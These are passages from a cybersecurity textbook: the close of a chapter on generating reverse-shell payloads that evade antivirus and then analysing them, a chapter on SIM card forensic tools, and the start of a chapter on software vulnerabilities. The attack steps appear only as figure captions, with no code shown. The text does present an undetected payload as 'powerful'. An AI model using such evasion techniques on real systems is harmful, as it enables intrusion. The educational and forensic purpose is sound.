FIGURE 10.21  Payload execution in PowerShell with Real-Time protection enabled.
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FIGURE 10.22  Reverse shell session established with the Windows system.

FIGURE 10.23  Target Windows system information.

FIGURE 10.24  Image of payload generated for Linux.
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In Figure 10.27, using shell command and session ID, the entry into the target 
system has been made into the user privilege. To get kernel level, horizontal and 
vertical escalation needs to be performed.

10.8 � MALWARE ANALYSIS

Malware analysis is the study of malicious software, commonly known as malware, 
and is an important process in the field of cybersecurity to comprehend its behavior, 
source, and potential impact. Organizations require this information to recognize the 
threat posed by malware and develop strategies for preventing its proliferation. The 
initial stage of malware analysis involves obtaining a malware sample, which can be 
done in multiple ways, such as capturing it within a sandbox or intercepting it over 
a network. Upon procuring the sample, the malware type needs to be identified and 
classified as viruses, worms, Trojans, rootkits, or ransomware. These categories pos-
sess unique behavior and features, falling under the umbrella of static and dynamic 
analysis [18].

Static analysis involves the examination of malware’s code with a focus on its 
logic and structure, without executing it, which is referred to as static analysis. The 
examination gives an understanding of how the harmful software operates, where it 
came from, and what damage it could cause. The technique analyzes the malware’s 
code and reasoning to provide details about its functionality, origin, and threat degree. 

FIGURE 10.25  Image of executed payload in Linux system.

FIGURE 10.26  Image of the backdoor session established.

FIGURE 10.27  Target system info.
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The goal of static malware analysis is to gain more knowledge about the malware 
while keeping (the system or network) safe from any potential threats.

Analysis of Static Malware: By using this technique, malware is examined with-
out running its binary code.

	 1.	 It uses a signature-based approach to malware analysis.
	 2.	Static analysis is quite simple and merely entails keeping an eye on the 

malware’s activity while attempting to gauge its capabilities.
	 3.	It can be analyzed more quickly.
	 4.	It lacks power against sophisticated malware programs and code.
	 5.	Various methods are implemented by analysts for static analysis, which 

comprise techniques such as file fingerprinting, virus scanning, memory 
dumping, packer identification, and debugging.

Dynamic analysis has proved to be an effective strategy for evaluating the behavior 
of potentially dangerous code in a secure environment. The use of isolated virtual 
machines through sandboxes allows for the identification of potential risks without 
compromising the integrity of the system or network. A thorough comprehension of 
the attributes of the possible dangers is facilitated using this method.

Dynamic Malware Analysis: The behavior-based technique of malware detection 
and analysis is implemented in the field. In this method, testing and running applica-
tions in a virtual setting is used to record how they act. Examining the way the appli-
cation acts makes it easier to sense and prohibit any possible harmful behaviors.

	 1.	With dynamic analysis, the analyst looks at the malware at every stage of its 
deployment and functioning, evaluating its actions, functions, and impacts 
in more detail.

	 2.	It is effective against all types of malware since it runs the sample to do an 
analysis, but it takes more time because it provides a more thorough inves-
tigation and a higher rate of identifying malware that isn’t yet identified.

	 3.	It includes registry changes, API calls, memory writes, instruction traces, 
network, and system calls, and memory writes.

Analyzing malicious software by taking it apart is a frequently used method to 
examine software via reverse engineering. Its use gives researchers deep insight into 
the operation and potential risks of the malware. This strategy allows cybersecurity 
experts to come up with efficient ways to ward off potential attacks.

Analyzing malicious software is complex and necessitates expertise. This task is 
integral to preparing efficient incident response plans and understanding the actions 
of online criminals. The data obtained by analyzing malware can be useful in devel-
oping various safety measures such as virus signature recognition, firewalls, and 
intrusion detection systems. It is important to routinely examine this process to be 
up-to-date with new trends since the cyber threat landscape is ever-changing. 
Examining malware is crucial in building sound cybersecurity plans and safeguards 
to protect networks from malicious cyber-attacks. Static analysis, dynamic analysis, 
and reverse engineering are the most frequently employed analysis techniques for 
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malware. All three methods provide valuable insights into malware behavior, origin, 
and potential consequences. These techniques can uncover essential details about the 
malware, which can then be used to create better safeguards against potential threats. 
However, one must take caution when performing malware analysis as the malicious 
code can be made to cause harm to the analyzed network or system.

For Malware Analysis of powershell.ps1 file, these tools are used:

Process Hacker
Process Hacker, an open-source utility, can be utilized to keep track of running 
processes, get info on programs that are occupying lots of CPU power, and 
recognize links corresponding to a process. These characteristics make Process 
Hacker a perfect choice for tracking down possible malware. Examining which 
processes have been created, learning their network connections, and uncover-
ing useful data from memory can generate indications of compromise (IOC) 
that can be used for inspecting a malware infection. Detecting IP addresses and 
malicious domains during incident response is beneficial, and Process Hackers 
can be employed to acquire this information, thus helping to detect infected 
machines and setting up proactive measures to contain a malware outbreak. 
It also provides users with the ability to review and adjust system services 
to spot malware operating as services and contrast general process properties 
including parent process and command line. This information can help users 
identify suspicious behavior and determine if a process is potentially harmful 
to the system. Process Hacker displays general information such as the process 
name, ID, CPU usage, memory usage, handles, and modules. It also provides 
advanced information such as the process’s parent process, command line, 
environment variables, and security information. By comparing the parent pro-
cess and command line of malware processes with those of normal processes, 
users can identify unexpected relationships and determine if the process is 
being run with unusual parameters. Figure 10.28 shows the processes running 
on the system and the malicious process running on the PowerShell can be seen 
under the hierarchy structure of legitimate PowerShell processes. In Figures 
10.29 and 10.30, the property has been checked off the process and the parent 
process of legitimate PowerShell is explorer.exe and the parent process id is 
4844 for malicious process, the parent is powershel.exe and the parent process 
id is 4552 but the parent process of powershell.exe should be explorer.exe, 
which states the process having pid 4552 is malicious in nature.

WinMD5
WinMD5 is a free and open-source tool for Windows that allows users to cal-
culate and verify the MD5 hash of a file. MD5 (Message Digest algorithm 
5) is a widely used cryptographic hash function that takes an input (or “mes-
sage”) and returns a fixed-size string of characters, which is a “digest” that 
can be used to uniquely identify the input. WinMD5 enables users to effort-
lessly calculate the MD5 hash of a file by either dragging and dropping the 
file onto the tool’s interface, or selecting it by browsing. The tool then displays 
the digest, which can be compared to a known or expected value to verify the 
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FIGURE 10.28  Process hacker monitoring.

FIGURE 10.29  Legitimate PowerShell properties [a].
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file’s integrity. This is helpful to ensure the file hasn’t been modified or cor-
rupted during transfer or storage. Furthermore, users can also match the MD5 
hash of a file to an expected value by entering it into the tool and comparing 
it to the calculated hash, whereby if they match, the file is considered valid. 
WinMD5 proves to be a user-friendly tool capable of many applications like 
digital forensics, file integrity checking, and malware analysis. Figure 10.31 
shows the cryptographic hash of the payload done in the WinMD5 tool [19].

FIGURE 10.30  Malicious PowerShell properties [b].

FIGURE 10.31  WinMD5 hash.
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Output: b0fe1640b0fe7b282f452b856c40e3a8

VirusTotal
VirusTotal is a platform that examines files and URLs for any malicious soft-
ware by leveraging multiple antivirus engines and security tools. It is run by 
Chronicle, a Spanish company under Alphabet (Google). Post a file or URL to 
be scrutinized, and VirusTotal will reveal the scan results, including alerts com-
puted by individual antivirus engines and other security tools. These results 
can be utilized for detecting and investigating malware and other threats, as 
well as for checking the authenticity of a file or website. The website has an 
added function that allows searching for files or URLs that have been exam-
ined before. VirusTotal is a no-cost service relied upon by cybersecurity pro-
fessionals, researchers, and individuals for investigating malware, phishing 
websites, and other cyber hazards. It also provides APIs that enable automation 
of the scanning process and integration of results with other tools and systems. 
Further, VirusTotal extends a browser extension, making it possible to scruti-
nize a website with a single click, without having to manually upload the file. 
In Figures 10.32 and 10.33, the report is generated using VirusTotal, which 
shows only one search engine detected the payload [20].

VirScan
VirScan is a software that analyzes file contents to identify malware by com-
paring them to a database of known malware signatures. If there is a match, 
the file is flagged as a potential threat. However, it’s crucial to remember that 
VirScan isn’t entirely reliable and may label a legitimate file as malware, or 
miss detecting a malicious file. Therefore, it’s advisable to use various anti-
virus tools to run a file scan before opening it. It can be seen in Figure 10.34, 
the report of the payload as it has not been shown maliciously by any antivirus 
software, which makes it powerful.

FIGURE 10.32  VirusTotal report [a].
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10.9 � CONCLUSION

In summary, the study highlights the significant threat that malware and backdoor 
generators pose to computer system security. The research provides a comprehensive 
examination of the tactics utilized by these harmful programs, including the ability 
to bypass antivirus software and create backdoors, which allow them to remain unde-
tected and persistent on infected systems. The complexity of the malware encoding 
and its ability to evade antivirus software make detection and elimination difficult. 
Malware’s continued presence on infected systems can compromise confidential 
information and damage computer systems. Mitigating the risk of malware and back-
door generators necessitates the implementation of robust security protocols by orga-
nizations and individuals, including keeping antivirus software updated, using strong 
passwords, and being cautious of opening emails or links from unknown sources. 
Regular updates to software and operating systems also help minimize the risk of 
infection.

FIGURE 10.33  VirusTotal report [b].

FIGURE 10.34  VirScan report.
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Analyzing the behavior and tactics of harmful software is crucial in staying ahead 
of emerging dangers. This chapter reminds us of the need to be vigilant against mal-
ware and the importance of continuous efforts to maintain computer security. In clos-
ing, malware and backdoor generators pose a significant threat to the security of 
computer systems, but adopting strong security measures and staying informed can 
minimize the risk of infection and safeguard sensitive information. By conducting 
ongoing research and analysis, we can stay ahead of evolving threats and ensure 
long-term computer security.
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11.1 � INTRODUCTION

The data stored within a cell phone continues to be of utmost importance, regardless 
of whether it plays a direct or indirect role in criminal activities. Cell phones house 
a wealth of data, encompassing contact records, text messages, emails, web history, 
images, and various other forms of information. Integrating SIM card forensics into 
mobile phone forensics is a crucial step within the realm of digital forensics, and 
notably, it constitutes one of the most challenging domains [2].

A predominant focus of ongoing research revolves around identifying key indica-
tors within mobile phones, including the following:

Outgoing call records, including timestamps and utilized phone lines.

	•	 Details of received calls, accompanied by timestamps, dates, and caller 
identification.

	•	 Content stored within the phonebook or contact list.
	•	 Textual information exchanges.
	•	 Multimedia content such as images and video clips saved on SD cards or the 

phone itself.

Cell phones utilize a Subscriber Identity Module (SIM) card, functioning as a smart 
card that stores essential user and network data required for device initiation and 
usage. The global market for SIM cards has been consistently expanding, resulting 
in an extensive repository of data accessible to forensic experts [3].

The prevalence of USIM (Universal Subscriber Identity Module) devices has 
surged following the introduction of UMTS (Universal Mobile Telecommunications 
System) or 3G technologies. A USIM, functioning akin to a miniature computer, 
facilitates the management of multiple mini-applications and even video conversa-
tions, provided the network and handset support such functions. Alongside network 
access, a USIM offers advanced security measures compared to standard SIM cards. 
The storage capacity of a USIM’s phonebook is notably larger, capable of housing a 
plethora of comprehensive connections incorporating email addresses, images, and 
diverse phone numbers [4].
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The practice of SIM card forensics yields valuable insights into friendships, SMS 
conversations, call records, and more. Investigators can leverage both open-source 
and commercial applications to retrieve pertinent data from SIM cards. Our aim in 
this research is multi-faceted, involving an analysis of the granularity of information 
extractable from SIM cards, an evaluation of the tool-dependent nature of evidence 
obtained, an assessment of the impact of existing discoveries on SIM card forensics, 
and an exploration into whether SIM cards from various GSM service providers 
yield distinct evidentiary data points [5].

In investigative endeavors, a cell phone could serve as the linchpin, posing sig-
nificant challenges for investigators lacking the requisite expertise in uncovering 
evidence. The nascent nature of SIM forensics, characterized by a paucity of com-
prehensive literature, has been a driving force for our research. Our overarching 
objective is to equip the mobile forensic community with essential insights, enabling 
informed decisions based on the genuine capabilities of available tools, as elucidated 
by our research findings [6, 7]. We further contend that the determination of a sus-
pect’s culpability hinges greatly upon the meticulous evaluation of the obtained 
information.

11.2 � SOURCE OF DATA

The introduction of the Global System for Mobile Communications (GSM) stan-
dard, enabling the transmission of text, audio, and data services through cellular 
networks, heralded a telecommunications revolution that has left an enduring impact 
on every facet of our lives [8]. Following this, the industry experienced a significant 
upsurge subsequent to the European Telecommunications Standards Institute (ETSI) 
unveiling the GSM 11.11 standards for the SIM-ME interface. This concept emerged 
from the proposition of dividing the cellular device into two distinct components: 
a detachable Subscriber Identity Module (SIM), encompassing all user-related net-
work information, and a Mobile Equipment (ME), constituting the remaining seg-
ment of a mobile station or handset [9].

As its name implies, a SIM card serves as a repository for the subscriber’s identity 
and serves as the conduit for individuals to connect to the telecommunications net-
work. Beyond this fundamental role, a SIM card stores the subscriber’s contacts, text 
messages, call records, location data, and other personalized records, while also serv-
ing as a means of identity verification [10]. The architecture of a SIM card includes 
a central processing unit (CPU) and system software equipped with electrically 
reprogrammable read-only memory, allowing for customization. Additionally, the 
card incorporates Random Access Memory (RAM) responsible for managing pro-
gram execution. An essential Read-Only Memory (ROM) is also embedded, oversee-
ing the operating system’s workflow, user identification, data encryption protocols, 
and other applications. Within the EEPROM (Electrically Erasable Programmable 
Read-Only Memory) resides a hierarchical tree-structured file system, housing 
diverse information such as text messages, network preferences, identity details, and 
cellular number records, among other crucial data [11].

The diagram presented in Figure 11.1 illustrates the three primary categories of 
files comprising the structural framework of the file system: the Master File (MF), 
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Dedicated Files (DF), and Elementary Files (EF). At the core of this file structure is 
the Master File. Dedicated files, denoted as DF (DCS1800), DF (GSM), and DF 
(Telecom), emerge as subordinate folders of the master files. These dedicated files 
house information about services, carriers, and the networks they operate on [12]. 
Furthermore, elementary files contain actual data in various formats, organized as 
sequences of data bytes, stationary records, or defined sets of fixed-size records used 
iteratively. It is noteworthy to observe that all files possess labels, while only EFs 
hold actual data [13].

SIM cards adhere to the ISO/IEC 7816 standard, which is jointly governed by the 
International Organization for Standardization (ISO) and the International 
Electrotechnical Commission (IEC) with respect to their physical specifications [14]. 
This standard is partitioned into 15 sections, the first two of which delve extensively 
into the contacts, positioning, and physical attributes of integrated circuit cards. 
Manufacturers embraced this standard, resulting in the production of various SIM 
card sizes. The initial SIM cards [15] were full-size, equivalent in dimensions to bank 
cards. Over time, these full-size SIM cards were replaced by micro-SIMs, which 
gradually reduced in size to approximately one-third of their original dimensions. 
The latest iterations are Micro-SIMs and Nano-SIMs, characterized by their smaller 
form factors. Similar to an embedded universal integrated circuit card (eUICC) for 
machine-to-machine (M2M) applications, SIMs can also be integrated into hard-
ware. Regardless of their size, SIM cards adhere to a consistent fundamental layout 
and file system design.

We have rephrased certain excerpts from the Third Generation Partnership Project 
(3GPP) Technical Specifications to enhance reader comprehension [16].

ICCID (Integrated Circuit Card Identifier): This alphanumeric identifier, 
potentially up to 20 digits long, consists primarily of two components: the 
Issuer Identification Number (IIN) and the Account Identification Number 
(AIN). For the Issuer Identification, the initial two digits signify the Major 
Industry Identifier (MII), where, in the context of the SIM telecoms sector, 
the MII is 89. The AIN comprises six digits for the Individual SIM Number, 
four digits denoting the production month/year, two digits representing the 
Configuration Code, and finally a checksum for error recognition [17].

IMSI (International Mobile Subscriber Identifier): A 15-digit number pri-
marily used for transmission and communication across GSM networks. 
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FIGURE 11.1  Depiction of file anatomy representing the master file, dedicated file, and 
elementary files.
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The IMSI shares a format similar to ICCID, encompassing a three-digit 
Mobile Country Code (MCC), two to three digits for the Mobile Network 
Code (MNC), with the remaining digits forming a sequential sequence that 
identifies the Mobile Subscriber Identity Number (MSIN) [18].

MSISDN (Mobile Station International Code): With a maximum length of 
15 digits, the MSISDN serves as an identifier for users to receive messages. 
However, it is not transmitted to or from a device. Each MSISDN corre-
sponds to the complete user mobile number, including the country code. A 
typical MSISDN comprises a Country Code, National Destination Code, 
and Subscriber Number, totaling no more than 15 digits. MSISDN differs 
from ICCID and IMSI as it is a fundamental file that is not essential. An 
analogous feature, called Own Dialing Number, enables mobile users to 
ascertain their phone numbers by dialing a specific numeric code [19].

Additionally, optional fundamental files named SPN (Service Provider 
Name) and SDN (Service Dialing Numbers) are utilized to communicate 
the identity of the GSM Network Service Provider and its distinct services. 
As per the standard, fields with varying lengths are padded with the 8-bit 
digit “F” [20].

TMSI (Temporary Mobile Subscriber Identity): Serving as a transient iden-
tifier, the TMSI is exchanged between the cell phone and the adjacent local 
network, facilitating seamless connectivity as users change locations within 
GSM wireless networks [21].

ADN (Abbreviated Dialing Numbers): This term refers to contact informa-
tion stored by users on the SIM card. Conversely, LND (Last Numbers 
Dialed) pertains to the most recently dialed number. An additional feature 
permits the storage of additional numbers from ADN and LND in dialing 
extensions EXT1 and EXT2, although the card’s capacity limits the num-
ber of contacts it can hold. FDN (Fixed Dialing Numbers) is comparable 
to these fields, encompassing a phonebook accessible only after a specific 
setting is enabled. This feature is relevant, for example, in cases of busi-
ness SIM cards that restrict outbound calls to preconfigured numbers to pre-
vent personal use of company resources. These aspects, along with mobile 
devices and subscriber configuration, are incorporated into Capability 
Configuration Parameters (CCP) [22].

SMS (Short Message Service): Users of the Short Message Service engage 
in communication through text messages sent and received over cellular 
networks. SMS data encompasses not only the content of messages but also 
timestamps, sender’s contact information, and message status, making it 
valuable for forensic investigations. Deleted messages are particularly valu-
able, as they may contain material warranting further scrutiny. Deleted com-
munication is not instantly erased but rather marked as empty space until 
new data replaces it. SMS messages can be stored on both SIM cards and 
mobile devices. Many manufacturers have their devices default to using 
internal storage instead of SIM cards due to the latter’s storage limitations. 
The storage selection varies based on phone software and user preferences. 
Essential data related to Short Message Service, including operator’s short 
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message switching center location, message lifetime/timeout, and coding 
format, are stored in elementary files known as SMS, SMSP (Short Message 
Service Parameters), and SMSS (Short Message Service Status) [24].

A comprehensive examination of the fields pertaining to speech and data trans-
mission, such as LOCI (Location Information), LAI (Location Area Identifier), 
LAC (Location Area Code), RAC (Routing Area Code), and RAI (Routing Area 
Information), provides location-related insights. The LAI, constructed from the 
MCC, MNC, and LAC, in conjunction with the RAC and RAI, constitutes Location 
Information (LOCI) [25].

SIM cards encompass inherent security features achieved through Card Holder 
Verification (CHV1) and (CHV2). Access to these areas is granted solely to users 
who have verified PIN codes. Further limitations are imposed by assigning distinct 
Access Control Classes (ACC) to different mobile user groups, thereby restricting 
direct connections to the Mobile Network. Encryption, utilizing a Ciphering Key and 
Ciphering Key Sequence Number, is applied to authenticate the SIM on the mobile 
network, preventing unauthorized access and ensuring data integrity [18].

Additionally, the SIM card contains supplementary data about the cellular net-
work setup, including the Phase Identifier. The introduction of SIM cards, ciphering, 
audio telecommunications, international roaming, call forwarding, and text services 
were all integral to Phase 1 of GSM service deployment. Subsequent phases intro-
duced further features in accordance with the advancements provided by the earlier 
stages. To ascertain assigned and enabled services within the SIM, the SIM Service 
Table (SST) base file is consulted. The Preferred Languages Variable (PL) deter-
mines additional options, such as language preferences for menu interactions. 
Furthermore, the SIM device may incorporate two Group Identifiers (GID1 and 
GID2), modified exclusively by the Mobile Broadband Service Provider to designate 
collections of SIM cards for specific organizations and applications. Another service-
provider-specific term is the Emergency Call Code, enabling emergency calls, such 
as dialing 999 in urgent situations. The Service Operator can also configure the 
Higher Priority PLMN Search Period (HPLMN), governing the frequency of the 
mobile device’s search for the home network. Within the GSM cellular standard, a 
broadcast control channel (BCCH) transmits system information about the identifi-
cation and configuration of base transceiver stations. The content of cell broadcast 
messages users receive from Service Providers is specified by the Cell Broadcast 
Message Identifier (CBMI). Additionally, Service Providers configure the 
Accumulated Call Meter (ACM) to manage user mobile phone expenses before 
reaching a predetermined limit (ACMmax). Costs can be calculated in the subscrib-
er’s preferred currency using a Price per Unit and Currency Chart (PUCT) [19].

11.3 � LITERATURE REVIEW

SIM forensics is still in its nascent stage due to the intricate knowledge and expertise 
it demands. Consequently, previous research endeavors are confined to the authors’ 
awareness. The following synopsis outlines initial endeavors that laid the ground-
work for SIM forensics. Willassen’s work focused on extracting the subscriber’s 
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confidential data from a SIM card using the GSM 11.11 Technical Standard. He enu-
merated 21 extractable elements and demonstrated the potential of the GSM mobile 
phone system in forensic analysis [23].

Savoldi and Gubian presented a proof-of-concept that addressed data conceal-
ment within a SIM/USIM card through common techniques. Their work highlighted 
the challenges in digital forensics arising from the absence of a nonstandard portion 
in the SIM/USIM image memory. The “TrustedSIM” framework, proposed by 
Cilardo, Mazzocca, and Coppolino, centers around the subscriber’s identification 
module (SIM) as a core component. They argued that its adaptable environment and 
tamper-resistant domain facilitated control over individual security profiles [24].

Although general forensic investigation tools were employed to retrieve crucial 
information for conversion into forensically reliable evidence, Jansen and Ayers demon-
strated that some of these tools might yield inaccurate outcomes. This shortcoming 
could stem from their lack of specialization in SIM Card Forensics, possibly due to cod-
ing errors, improper protocol usage, or outdated designs causing flawed functionality.

On the other hand, Casadei et al aimed to explore an accessible SIM-specific 
forensic tool as an alternative to costly and limited commercial software. Their 
research involved extracting visible memory and nonstandard data from SIM cards, 
forming the basis for their investigation of the SIMbrush tool [25].

11.4 � EXPERIMENTAL SETUP

The exercise required the establishment of a connection between a mobile device 
and a SIM card reader. Two smartphones were prepared for this purpose: an Apple 
iPhone 12 and a Samsung Galaxy A13. Each of these smartphones was equipped 
with both a DU and Etisalat SIM card, in addition to a portable SIM card reader. To 
discern potential variations among various service providers, two distinct service 
providers were deliberately selected [18].

In order to finalize the experiment’s setup on both mobile devices, data generation 
was a prerequisite. This involved storing user data such as contacts onto the SIM 
card. However, the iPhone posed a challenge as it lacked the inherent capability to 
directly save data onto a SIM card. As a result, the execution of this process faced 
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initial limitations. To enable this feature on another smartphone, the authors had to 
physically transfer the SIM card, utilizing a Nokia device to facilitate the operation. 
Additionally, the authors simulated fictitious user data across various social media 
platforms, including Facebook, Instagram, Dropbox, and others [19].

Our aim was to conduct a comparative analysis between profit-oriented and open-
source tools for our investigative endeavors. Considering their efficacy in handling 
SIM card forensic inquiries, we specifically selected the following tools for the pur-
pose of comparison:

EnCase Forensics: EnCase Forensics, developed by Guidance Software, 
is a widely used solution within the digital investigations industry. The 
Smartphone Examiner feature of EnCase collects data from various smart 
devices, SIM scanners, and device backups, enhancing its investigative 
capabilities [20].

MOBILedit: In contrast, MOBILedit is a sophisticated cellphone intelligence 
tool known for its data retrieval capabilities from phones. This includes 
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details such as IMEI, operating system, and firmware, as well as information 
about the SIM card’s IMSI and ICCID codes and its geographical location.

Mobile Phone Examiner: Access Data’s Mobile Phone Examiner (MPE) pres-
ents enhanced capabilities for smart device research and acquisition. It now 
includes investigative datasets for smartphones integrated with nFIELD, 
enabling comprehensive USIM and SIM data collection along with report-
ing functionalities.

Oxygen Forensic Suite: Developed by Oxygen Software Company, Oxygen 
Forensic Suite employs exclusive methods for conducting digital forensic 
analysis on mobile phones [26].

Paraben SIM Card Seizure: Paraben Cooperation’s SIM Card Seizure appli-
cation specializes in recovering deleted text messages from SIM cards. It 
performs forensic SIM card capture and analysis [14].

pySIM: The open-source forensic software application pySIM, developed 
by TULP2G, serves to retrieve and decode information from electronic 
devices [12].

SIMBrush: SIMBrush is a fully accessible program capable of retrieving all 
accessible memory from SIM/USIM devices [13].

SIMScan: An open-source program, SIMScan is used to retrieve SIM card 
data by downloading and saving binary data from individual files [17].

UFED Cellebrite: UFED provides advanced logical, file system, and physical 
extractions, granting access to mobile data and revealing the entirety of a 
device’s memory. It also offers extensive decoding, analysis, and monitor-
ing capabilities [27].

USIMdetective: Developed by Quantaq Solutions, USIMdetective is a spe-
cialized forensic tool designed to handle the intricate data storage systems 
found in smart cards.

XRY: XRY is a robust utility for smartphone digital forensics analysis. It can 
retrieve specific SIM card details in addition to capturing mobile data. The 
tool also includes the user-friendly XRY Viewer for examining retrieved data.
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FIGURE 11.4  Flow of navigation across the text, memory, and file distributed system.
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11.5 � CONCLUSION AND FUTURE WORK

SIM card forensics is an evolving field that holds the potential to offer investiga-
tors a valuable trove of evidence, provided they possess the necessary expertise and 
resources to extract information in a forensically sound manner. However, the exist-
ing landscape of off-the-shelf tools often overlooks the fact that crucial data may 
be fragmented into smaller segments. Instead, these tools are designed to aid inves-
tigators in analyzing smartphones as holistic units. While certain tools used in the 
experiments detailed in this paper did yield significant subscriber-related informa-
tion, further refinement is essential to ensure the accuracy of the collected data.

The realm of SIM card forensics opens up numerous avenues for future research 
endeavors. Potential projects could involve comparing extracted data with actual 
records from different network providers, conducting comprehensive deep dives into 
SIM card system files, or juxtaposing extracted data with user information gathered 
from various applications to ascertain the potential integration of SIM data.

Regarding the tools employed, some facilitate SIM card data acquisition through 
complete phone acquisitions – examples include EnCase, MOBILedit, Oxygen, and 
UFED. On the other hand, certain tools are tailored to acquire SIM card specifics 
through dedicated SIM card readers – this category encompasses Encase, SIM Card 
Seizure, SIM Manager, Unindicative, and XRY.
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12.1 � INTRODUCTION

Software development is a simple process for creating software. The program’s 
operation and design are too demanding, which presents difficulties for developers 
and increases program complexity, which causes the security gap to grow. When 
employing well-known and popular code in software development, there is a risk of 
exploitation by attackers who have the knowledge and resources to take advantage of 
the weaknesses in the code. On rare occasions, a software flaw left by the developer 
enables an attacker to take advantage of the application. On the other hand, software 
vulnerabilities are a contentious problem that could make the typical software system 
worse. Exploiting these software defects could endanger people’s lives and have seri-
ous repercussions. Furthermore, the use of unprotected software may explicitly or 
tacitly contradict the security policy of the business. Security measures should there-
fore be a key priority for developers in the modern environment. To accomplish their 
specific goal, most software engineers, however, tolerate or modify software flaws.

Avast provides two types of browser security solutions: first is the company’s 
browser plugin, which increases the security of user data when user surfs and serves 
as a scanner to prevent user from visiting harmful websites. Second is the company’s 
own browser application, which includes built-in ad filtering and page optimization 
in addition to browser plugin. Avast indicates the level of security in three colors, 
which are green, yellow, and red. Green color specifies that the user device is safe 
and protected and no action is required. If the color is yellow, it means that the user 
needs to take the recommended action as soon as possible, and red designates that the 
device is in danger and the user should take immediate action. In this chapter, popu-
lar vulnerabilities are analyzed based on various factors until 2022. The chapter also 
discusses the impact of these vulnerabilities and their associated operating systems.

12.1.1 � Vulnerability

Vulnerabilities are weaknesses in a system’s security. Vulnerabilities exist because 
of the methods used in the design and implementation of security system or internal 
controls, which allow an attacker to deliberately exploit the system. It jeopardizes the 
system’s security or goes against the security policy. The Java vulnerability, which 
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was caused by a code error, is a well-known example of vulnerability. Some of the 
other vulnerabilities are explained in [1–3].

12.1.2 �T ypes of Vulnerabilities

Human Vulnerability: The human element is the weakest link in security 
designs. User errors have the potential to readily expose confidential data 
and let attackers access through backdoors or break the systems.

Network Vulnerability: It is technical and software issues that expose a net-
work to the possibility of an incursion by an outside source. For instance, 
unconfigured firewalls and factors can be accessed using insecure Wi-Fi.

Operating System Vulnerability: It is a vulnerability inside a selected work-
ing machine that hackers might additionally take advantage of to get into 
the OS for the purpose of damage. For example, default admin debts could 
exist in operating system installs.

Process Vulnerability: The vulnerability may be created via a means of the 
unique technique controls. For example, the usage of a vulnerable password 
(it can additionally be a human vulnerability) [4].

12.1.3 �I mpact of Vulnerabilities on Software

The three main impacts on software are as follows:

Elevation of Privilege: Using this vulnerability, an attacker may gain higher 
rights on a compromised system, potentially allowing them to delete data or 
take control of machines for nefarious reasons.

Information Disclosure: A successful exploit of this vulnerability might pro-
vide the attacker access to sensitive data.

Denial of Service: An attacker who can take advantage of a flaw in the system 
gains access to computer resources or causes system failure [5].

12.2 � SECURE SOFTWARE DEVELOPMENT LIFE CYCLE

The software development life cycle (SDLC) is a methodology for creating software 
of high quality in a defined time frame with cost-effectiveness. The well-structured 
phases of the SDLC enable a firm to effectively produce high-quality software that 
has undergone ample stages of testing and is prepared for stationing in production 
[6]. However, due to increased cybersecurity concerns and the business consequences 
associated with software, the requirement to incorporate security into the develop-
ment process has received more attention. It is essential to execute a secure software 
development life cycle (SSDLC) [7].

The entire development process is mapped out by the SDLC framework, Planning, 
Design, Development, Testing, and Maintenance, as shown in the inner circle of 
Figure 12.1.

By incorporating security into every phase of the lifecycle, the SSDLC expands 
on this procedure as presented in Figure 12.1. Development of code can be tested 
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using the SAST tool, for example, Bandit, Brakeman, and Contrast Scan. The Testing 
phase, Dynamic Analysis, can be performed using DAST tool, for example, Port 
Swigger, Hdiv Security, and Astra Pentest. An SSDLC is frequently used by teams 
making the switch to DevSecOps. The approach entails safeguarding the develop-
ment environment as well as implementing security best practices with functional 
development elements.

12.3 � VULNERABILITY DATABASE TERMINOLOGIES

CVE
The list of publicly reported security weaknesses is known as Common 
Vulnerabilities and Exposures (CVE). A CVE refers to a specific security prob-
lem that has been issued a unique CVE-ID number. A CVE-ID is assigned to a 
specific and unique vulnerability by security advisories. CVEs help IT profes-
sionals focus their efforts on making software safer [8].

CWE
The Common Weakness Enumeration (CWE) is a software vulnerability or 
weakness classification technique [9]. It’s being carried out as part of a network 

FIGURE 12.1  Secure software development life cycle.
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project to identify software defects and develop automated methods to detect, 
repair, and prevent them.

CPE
An industry standard for uniformly displaying information on hardware, soft-
ware, and operating systems is called Common Platform Enumeration (CPE). 
When the outcomes of one product are used in another, it can be used for 
improved vulnerability management as well as software and hardware inven-
tories [10].

NIST
The National Institute of Standards and Technology (NIST) is a non-regulatory 
organization under the US Department of Commerce that focuses on physical 
sciences. Its goal is to boost industry innovation and competitiveness [11].

12.4 � LITERATURE SURVEY

Avast developed Avast Antivirus, a multi-platform internet security software, for use 
on Apple’s iOS, Android, and Microsoft Windows. This cross-platform suite comes 
with antivirus protection, web threat detection, browser protection, and a cloud admin-
istration interface. The antivirus program from Avast has a comprehensive malware 
defense system to protect users against harmful or infected websites, emails, Wi-Fi 
networks, and files. It also has other cybersecurity measures, such as a camera barrier 
that prevents snoopers from taking over your PC’s webcam. While the various Avast 
Antivirus programs provide different levels of security, only Avast Ultimate Security 
has a VPN and an anti-tracking capability. Avast sells several different cybersecurity 
protections that can be used on its own or with its antivirus software. All virus defini-
tions and software updates are conducted automatically and invisibly. Cybersecurity 
threats can be successfully fought back using Avast Antivirus. The program did well 
in its own malware tests and received excellent marks in recent independent AV test-
ing lab results, which showed that while its rapid scan was not very effective at 
detecting threats, its thorough scan did well.

Mr. Ravie Lakshmanan conducted the research [12] and was released on May 5, 
2022. Authors previously conducted research on high-severity security flaws that 
were found in a valid driver that is a component of the Avast and AVG Antivirus pro-
grams but went unnoticed for several years. According to a report published with The 
Hacker News by researcher Kasif Dekel, the vulnerabilities CVE-2022-26522 and 
CVE-2022-26523 are present in the wArPot.sys kernel driver, a reliable anti-rootkit 
program. This page shows more detail about each vulnerability and its solutions.

The research [13] was completed by Mr. Martin Rakhmanov and was published 
on April 25, 2017. Since Avast Antivirus is one of the most well-known antivirus 
products, the author made the decision to conduct some security research on it. The 
very first flaw that Martin discovered was in a group of file-related Application 
Programming Interfaces (APIs), including those for deleting, moving, and ultimately 
executing files and any local client can utilize the functions defined by Avast by using 
the Local Procedure Call (LPC) interface once it has been executed. As a result, an 
Remote Procedure Call (RPC) call will be made to a local server running as local 
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system once the researchers select the self-defense option. Then, in a similar fashion, 
various vulnerabilities were investigated. The article also contains more technical 
data to support.

The research [14] was published by Joe Uchill on May 5, 2022. The accepted 
design practices for security engineering and the vulnerabilities were regularly 
checked by the vulnerability research team. The researchers concluded that the actual 
problem was misaligned incentives, which prevented most companies from having 
much of an incentive to modify their codebases or examine older code unless corpo-
rations demanded that it be checked to see if it met the expected level of security 
engineering. The Avast Antivirus threat intelligence team conducted research [15] on 
